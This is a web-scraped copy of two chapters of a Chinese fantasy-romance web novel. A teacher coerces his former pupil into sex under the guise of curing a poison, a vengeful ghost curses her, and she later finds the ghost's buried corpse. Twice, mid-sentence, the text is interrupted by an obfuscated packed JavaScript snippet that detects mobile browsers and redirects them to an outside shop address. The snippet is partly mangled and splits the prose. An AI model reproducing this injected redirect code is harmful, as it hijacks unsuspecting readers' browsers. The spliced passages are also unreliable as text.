《天官绯闻录》 3. 第 3 章 曲惠风微微睁开双眼,头顶是耀眼的阳光,眼中有泪,她有些看不清楚,眼前的权臣似乎回到了她记忆中的模样,那个年青的男子,温润淡然,宽和仁厚,是世人眼中的如兰君子,对她却总是无微不至,耐心教导,曲惠风能走到曾经的那一步,离不开郎司衡。 她的所有难过悲伤都可以告诉他,所有不能宣之于口、暴露人前的秘密他都知道。 郎司衡,曾经是她最为尊敬的“师父”。 如今这份关系,却变了味。 院门外的五驾马车,马车旁只有两名亲卫立着。 而在远处的雾气中,人影憧憧,隐约有马蹄轻轻踱步的响声,人马不在少数,但没有一声吵嚷。 郎司衡抱着曲惠风,踩着脚踏轻轻上了车,到了里间,一股暖香扑面而来,将人包围其中。 曲惠风喘了一口气,试图起身,却被郎司衡放在柔软的波斯羊毛毯上。 习惯了握笔的修长手指,探向她的腰间。 曲惠风唤回一丝理智,摁住他的手:“世叔,解毒罢了,别动衣裳。” 郎司衡温柔地反握住她的手,语气也是那样温和从容,仿佛善解人意:“你嫌穿脱麻烦?不要紧,师父帮你穿。” 曲惠风试图后退,郎司衡压住她的腰:“风儿又不乖了?师父要生气的。” 她没法儿面对这句话,小时候的记忆潮水般涌来,她曾经也是顽劣的,郎司衡会耐心地教导,除非她真惹了他不高兴,才会说出这句带着几分警告意味的话。 她若还是不听,就会被捉过去,往屁股上打上几下。 那时候她是男孩心性,只觉着被打屁股是有些没面子的事,但竟不算很疼,所以除了那一点点不适之外,竟不觉着如何,只是本能地有些畏惧罢了。 如今不一样了。 郎司衡扶着曲惠风的腰,打量她强忍的脸色,嘴唇咬的太紧,渗出一丝血渍,郎司衡捏住她的下颌,让她的嘴张开了些:“什么都教了你,独独这种事没有认真教过……也好,这会儿倒也不晚……” 他伏身吻上。 身后的披风垂落,好像什么大鹤的羽翼,将曲惠风半边身子都遮蔽住了,窸窸窣窣,伴随着唇角溢出的声响,马车开始微微地摇晃。 车厢外两个亲卫对此显然是见怪不怪了,又因受过严格的训练,铁一般的脸上,毫无表情。 只是,虽说亲卫都是千挑万选出来的,武功高强,非同一般。 但他们也未能察觉,就在一墙之隔的院子中,有道影子飘在墙边上。 绵竹的影子投落,把墙边上有一片小小的阴影,“他”就缩在阴影中,身上裹着淡淡的灰色雾气。 他无法靠近马车,更加没法离开这片影子,一旦出现在太阳底下,只怕就要魂飞魄散。 鬼魂不能曝露于阳光中,甚至,连天明现身都是不可能的。 但因为楚王世子遭受天罚,身上阴寒气息过重,给了鬼祟妖邪们可乘之机,本来这院子是极灵秀清净的地方,可惜先前黄兰若没忍住出手杀人,导致原本的清灵之气被污染,所以这院子中才会鬼魅横生。 但这魂体,却并非是死在这院子里的那些人的魂魄。 “他”的双眼血红,如滴血一般,死死地盯着一尺之遥的马车。 隐约能听见里间的声响,望着车子摇摇晃晃,如何能不明白发生了什么。 “贱人……”魂体气的发疯,几乎忍不住要冲出去,冲到马车中,看看这两个不知廉耻之人正在做什么。 虽然他已经猜到。 雪白的鬼爪在墙壁上抓了把,才探出阴影的范围,便被阳光灼伤。 魂体缩回爪子,气的冲到东墙底下,在阴影中咆哮:“不守妇道的贱人……我要杀了你,我要杀了你……杀了你们这对自甘下贱奸夫淫//妇!” 房屋中,本来正闭目养神的黄兰若隐隐听见外头的躁动,他不清楚那是什么,因为他看不见。 但他能听到那个可怖的声音,像是暴怒的野兽。 黄兰若确信自己之前从未听过这个响动,也不知对方是人还是鬼,但他并不惧怕。 作为一个早把自己当作死人的人而言,他自己也差不多是半鬼了,又怕什么恶鬼恶人之流。 只是那声音叫嚷的实在奇怪。 什么“自甘下贱”,什么“不守妇道”,“奸夫淫//妇”,黄兰若蒙着的眼睛上方,眉头微微皱蹙。 草堂乃是清净地方,先前为了让他安居在此,周围方圆二三十里都不会有百姓贸然踏入。 世子细听了片刻,没听见脚步声。 难道是哪里的鬼魂……误入此处? 这个念头只是从脑海中轻轻地掠过,兰若并未很在意。 墙头上,鬼魂的两只眼睛都要滴出鲜血,“他”死死盯着车厢门口,想要等着那人出来后,便冲上去杀死。 小半个时辰后,马车的摇晃才逐渐停了。 车厢中,郎司衡有条不紊地整理好身上衣物,看着背对着自己的曲惠风,唇角微扬道:“今日的表现很好。” 曲惠风垂着眼帘,用有些颤抖无力的手将带子打了个结。 小时候她跟他学写字,学练武,但凡有了丝毫进步,他都会不吝啬夸赞。 如今这句夸奖用在此处,实在讽刺。 郎司衡看出她的不悦,低笑了两声,抬手握住她的肩头:“怎么了?难道是师父教的不好?风儿不满意么?或者……再来一次……” 曲惠风甩开他的手:“我已经好了。” 郎司衡脸色一冷,反手擒拿,她反抗,依旧被压在车壁上,车厢猛然摇晃。 车外的鬼魂本来正蓄势待发,蓦地见状,瞪大血红的眼睛,不敢置信。 郎司衡反压住曲惠风的手,在她耳畔低声笑道:“用我教的功夫对付我,怎么,用完了就不认人了?刚才求着师父别停的……是谁?” 曲惠风闭上双眼,声音很淡:“我记忆中的师父,不是这样的。” 郎司衡一怔,看着她漠然冷清的脸色:“你……” 曲惠风沉默,也未曾再反抗,仿佛什么都无关紧要。 郎司衡死死地瞪了她,终于慢慢地松开手:“风儿,师父不着急……你太执拗,终有一天你会知道师父的好。” 曲惠风垂眸冷笑:她原本知道的,原本也深信,郎司衡是这世上最自己最好的“师父”,可没想到有朝一日,是他亲手把那个牢不可破的、圣洁的称呼撕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365380|199817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得粉碎。 “哦,对了,”郎司衡整理着衣袖,道:“世子似乎不太喜欢你伺候。” 曲惠风不语。 “你小心些,世子脾气不好,别惹怒了他,另外,”郎司衡温声软语道:“我给世子、跟你带了一些东西……记得吃,你的身体要补一补。” 假如不是方才那些事,只听这两句,便是一个德高望重的长辈,正关切着晚辈,谆谆教导。 曲惠风不为所动。 郎司衡不以为忤,仍是目不转睛地凝视着她,微笑道:“还有很重要的一件事,风儿,你要记着,师父会一直等你回头,知道么?” 曲惠风没忍住冷笑了声:“多谢,不必了。我永远不会回头。” 郎司衡眉峰皱蹙的瞬间,曲惠风已经用力推开车门,迫不及待地纵身跃了出去。 只是,方才的力气已经消耗殆尽,双足落地的瞬间,一个踉跄,曲惠风知道郎司衡在盯着自己,她不愿意让他看出来,咬牙强撑,向院内走去。 身后马车之中,郎司衡低低地说了句什么,好似带着笑。 曲惠风迈步进了院子,再也撑不住,躲在院门旁边,沿着墙角跪坐在地。 双腿绵软无力,她大口地喘气,看向自己兀自发抖的手。 就在此时,不知何处来了一阵风,猛地从她脸颊边上掠过。 曲惠风抬头四看,院子里空空无人,只有小池塘中的蚱蜢、蜻蜓以及小青蛙蠢蠢欲动,风吹过,摇动菖蒲跟芙蓉花,阳光错落期间。 曲惠风眯起眼睛,有一种从阴郁地狱重新回到了人间的错觉。 但她当然看不到,就在她身旁一尺之遥,血红眼睛的鬼魂死死地盯着她,拼命挥动鬼爪,却无法靠近她身边,口中发出可怖的吼叫:“贱人,老子在这里……杀了你!杀了你这该浸猪笼的贱人……” 曲惠风完全没听见那些吼叫,深呼吸,察觉空气中阳光跟青草的气息,她终于慢慢地恢复了力气。 而在院墙之外,也响起了车轮滚动的声音,马蹄声浅浅,是郎司衡一行人离开了。 直到此时,曲惠风才站起身,慢慢地向后院走去。 鬼魂暴跳如雷,纵然不能靠近她,也不肯离开,徘徊在她身旁,上下左右地飞舞,一边狠狠咒骂,污言秽语,曲惠风一无所知,屋内的黄兰若却忍无可忍。 世子怒喝道:“住口!” 曲惠风正走过门边,闻言一怔,那暴怒的鬼魂也停了停,一人一鬼不约而同看向屋内,但屋中却重又恢复了宁静,仿佛刚才那突如其来的一声只是错觉。 曲惠风思忖了会儿,还是决定先进了屋里:“殿下有什么吩咐么?” 竹榻上,黄兰若歪身靠在窗户边上坐着,就算蒙住了眼睛,依旧遮不住盛世容颜,浓眉斜飞入鬓,鼻梁高挺笔直,令人感慨造物的神奇。 黄兰若想到方才那鬼魂的污言秽语,忍不住恶声恶气地说道:“我不需要人伺候,你最好赶紧滚。” 曲惠风转身,波澜不惊:“这好办,殿下只要站起来跟我说这句话,我立刻就走。” 兰若猛然转头:“一个丧德败行的无耻之人,也敢对孤冷嘲热讽。” 曲惠风脚步一顿:“你说什么?” 4. 第 4 章 黄兰若身为楚王世子,天生身份尊贵,从小受尽各方名师指导,不论教养规矩,还是为人涵养,都极为上乘。 而且他虽出身不凡,但为人谦和容易亲近,就算是面对贩夫走卒,也愿意折身相交,从不以身份压人。 可以说从他出生到如今的十六年,还从没有如今日这样,口出恶语,尤其还是对着一个女人。 也许是身遭变故,造成了他身心失衡,也许是被郎司衡说的那些话,引起他对于昔日岁月的怀念跟追痛,又或者是被那鬼魂滋扰……为什么只有他能听见,那些不堪入耳的辱骂。 他不知道来伺候自己的这个妇人是什么身份,但鬼魂的话,应该不是凭空捏造,所以便也先入为主地偏听偏信,觉着这妇人确实是个不堪之人,又想到她之前对自己的种种粗鲁,便忍不住宣泄起来。 面对曲惠风的质问,兰若竟本能地语塞,他从小养成的教养,到底不允许他如此对待一个妇人,他没办法跟那鬼魂一般肆意,只又将头转开道:“我不管你是什么身份,最好识相些离开,不然……” 曲惠风盯着他看了半晌,终于一笑道:“别嘴硬了,小世子,我还是那句话,有本事你站起来,不然……像是你现在这样连吃喝拉撒都要人伺候、还要说这种话,不觉着可笑么?” “咔嚓”一声,是兰若掰断一块竹条。 曲惠风斜睨了一眼,讥笑道:“小世子还是别逞强,小孩子赌气似的,除了伤了您娇贵的手,还能干什么?” 兰若气的发抖,很想如同杀死那几个侍从一样,把这妇人即刻杀死。 但……他到底没对她出手,竹条划破了掌心,渗出血来:“滚,给孤滚!” 曲惠风扬了扬眉,却没有再说话,只是迈步出了门。 直到她离开,门口缩在阴影中的鬼魂左右张望,大概是骂累了,又或者是太阳光越来越烈,他有些难以禁受,身形缩起,躲到了屋子底下潮湿阴暗的隔板阴影之中。 里里外外又恢复了往日的死寂。 黄兰若慢慢地倒在榻上,手中的竹片猛然一挥,抵向自己的颈间。 但只差一寸,他的手开始轻颤。 最终,世子松开手,沾血的竹片从掌心跌落。 而在屋外窗户边上,本来该走开的曲惠风正站在那里,手中攥着一颗不起眼的小石子。 直到看见黄兰若放开那竹片,曲惠风才轻轻地吐了口气,放轻脚步,转身离开。 这日直到晚间,已经有些熟悉的脚步声才重新响起。 黄兰若朦胧醒来,闻到一点米粥的气味,这妇人的手艺很一般,做的东西只能用“可以入口”来形容。 可黄兰若也已经不是当年那个锦衣玉食的小世子了,金樽美酒,金齑玉鲙都曾一一尝遍,不足为道,如今粗茶淡饭,苟延残喘。 曲惠风喂他吃粥,兰若尝出了米粥里,似乎放了些东西,有点像是燕窝。 他想到今日郎司衡说过给他拿了些吃用之物,也许就是这些了。 黄兰若并未吱声,默默地吃了半碗粥便停了,行动不便,他也懒怠吃食,之前那些内侍在的时候,他一天只吃半碗粥饭,隐约习惯了,只在曲惠风来后,一天三餐地伺候,这才稍微改观。 耳畔响起“呼噜噜”的声音,兰若眉头紧皱。 他看不见,但却知道发生了什么,这妇人,是在吃他剩下的粥饭。 真是可恶,毫不避忌,而且又这样粗鲁,早知道就不剩下了。 他转开头不去理她。 曲惠风吃了粥,去了厨下把热水舀出来,拿了块干净巾子扔在桶里,提到兰若面前。 他闻到一点类似艾草的气味,下意识抵触。 又到了擦洗的时候,他虽然不愿意自己身在秽物之中,但也从没想过,有朝一日自己会不喜欢过度的“干净”。 这妇人除了粗鲁跟失德,倒是半点不肯偷懒。 之前那些内侍,把给黄兰若擦身子当作羞辱他的、好玩的事,所以才那么热衷。 但黄兰若虽然也不喜欢被这妇人摆布,但直觉上……并没觉着这妇人有什么逾矩之举,也没半分亵玩之意。 也许她只是单纯的简单粗暴、完成分内事而已。 他赶不走她,早上又失了态,很是无能狂怒了一番,此刻索性紧闭双唇一言不发,只当自己已经死了。 曲惠风也没说话,只默默地给他收拾,擦拭,动作粗暴无情,像是对待一条上了案板的猪。 两个人不约而同的沉默中,有个声音却打破了寂静。 是之前那个暴怒的鬼魂。 “不守妇道的贱人,这是勾搭完了一个,又看上了这小世子么?就知道你天生淫//贱……” 黄兰若本来以为他已经走了,没想到还在,不由皱了眉。 已经入了夜,正是鬼魂窜动之时,他红着滴血的眼睛,恶狠狠地瞪着曲惠风:“你逃不了的,这里的阴气很重,等我变成厉鬼,必定要你死的比老子惨百倍千倍。” 此刻曲惠风将兰若的亵裤解开,兰若本能地手一动想要阻止——之前也罢了,现在,这里多了一个“鬼”?叫他有些本能抵触。 曲惠风像是赶苍蝇一样把他的手打到一边,麻布浸了水,刷刷刷地擦洗起来。 之前刚刚遭遇天罚后,黄兰若直接是从腰下部分都失去了知觉,王宫的太医们纷纷诊看,各种银针刺穴之类,都不能唤醒他的任何反应。 来到这草堂,也是同样,常常在不知不觉间泄在榻上,所以那些内侍才百般折辱。 直到曲惠风来了后,直到今日,他有了些许细微的知觉。 还不如没有感觉的好。 黄兰若甚至察觉她将自己的那个握住了,上上下下地擦拭,一丝一毫都没落下。 他无法想象一个妇人竟然如此、如此……放肆大胆。 就连先前那些内侍都做不到的事。 “你、你放开……”本来打定主意不理她的世子,又破了功。 但比黄兰若更破功的,是那鬼魂。 他发出了瘆人的嚎叫:“贱人!当着我的面儿、如此荒唐……我要杀了你!” 阴魂暴怒,室内的蜡烛无风而动,一点阴冷气息扑面而来。 黄兰若浑身冰寒,他竟有些无法禁受。 而曲惠风转头,四处打量了一阵,瞧见仿佛有些许阴影在室内摇曳,还只当是烛光摇动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374100|199817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘故:“这倒春寒倒是有点厉害的。” 喃喃自语了一句,曲惠风察觉黄兰若在发抖,还以为他也觉着冷,便拉起被子给他盖在肚子上:“行了,一会儿就好了。” 直到曲惠风觉着已经清理干净了,这才拿出一件新的中裤,给黄兰若穿上,又将新的中衣丢在他身上:“自己穿好。” 她提着水桶,拿着换下来的脏衣服,头也不回地出门去了。 身后竹床之上,黄兰若握住那被她扔在自己身上的干净的衣衫,气的身上的血都有些发热,曲惠风的动作加上那冷冰冰的四个字,让小世子有一种错觉,仿佛是刚刚被恶霸玷污了清白的小娘子……那厮摧残了人之后,扔下衣裳,无情而决绝地扬长而去。 曲惠风把黄兰若的衣裳泡在木盆里。 白天已经洗过澡了,但先前一通忙碌,又微微地出了汗,有些发热。 夜色静寂,院子中只有草虫的鸣叫,房舍周遭林子里,时而有夜枭发出怪声。 曲惠风提了一盏灯笼,开门出了院子。 半刻钟不到,已经来至河边。 将灯笼放下,毫不犹豫地褪了衣衫,淡淡的月光下,是极美健的一具胴体,双腿笔直修长,透着几分力道感,曲惠风迈步走入河中。 水一寸寸淹没身体,冰冷的感觉将她包围,也将身体里那点刚窜出的火苗熄灭,她浸泡在春日尚且冰冷的河水中,虽然冰寒彻骨,但心里觉着清爽。 清澈寒凉的水流涌动,似乎慢慢地带走了身上所有的污脏。 岸边忽然起了一阵冷风,风穿过旁边的竹林,发出呼啸的响动。 曲惠风微微睁开双眼,扫向周围,只有夜鸟的叫声,并不见人。 她忽然想起早上到别院滋扰的那个青年,因黄兰若在此休养,周围二三十里的百姓都被迁离开,她先前以为不会有人那么大胆敢摸来此处,加上身体的异样,想要以冰冷的河水镇压,便毫无顾忌地下了水。 没想到会被人窥见。 但那对她而言,其实也不算什么,还以为那青年会知难而退,没想到……竟变本加厉。 两刻钟左右,曲惠风慢慢地上了岸,夜风吹在湿淋淋的裸体上,瞬间好像冰冻了一般。 曲惠风的手指稍微有些僵硬,拿起落在地上的衣衫穿好,提起灯笼,刚要离开,旁边林中又刮过一阵阴风。 她微微一怔,转头,鼻端似乎嗅到一点淡淡的血腥气。 曲惠风盯着阴暗的竹林,稍微犹豫,便向着那边儿走了过去。 直到来至竹林略深处,曲惠风止步,前方地面上,一股小小的阴风旋动,而那正是血腥气最浓的地方。 曲惠风走到近前,抬脚扫过去,脚下的触感有些软。 她又拨了拨上面的腐草跟碎竹叶,不多时,当脚下再度扫过,泥地里,一张苍白的脸露出半边。 淡淡的月光自竹林上方倾斜而下,灯笼微微摇晃,照出那张脸,正是早上纠缠自己的青年。 曲惠风屏住呼吸。 而就在曲惠风打量埋在地里的这具尸首的同时,她不知道,青年的魂魄就站在她身前数尺之遥。 两只阴测测的眼睛直勾勾地盯着她。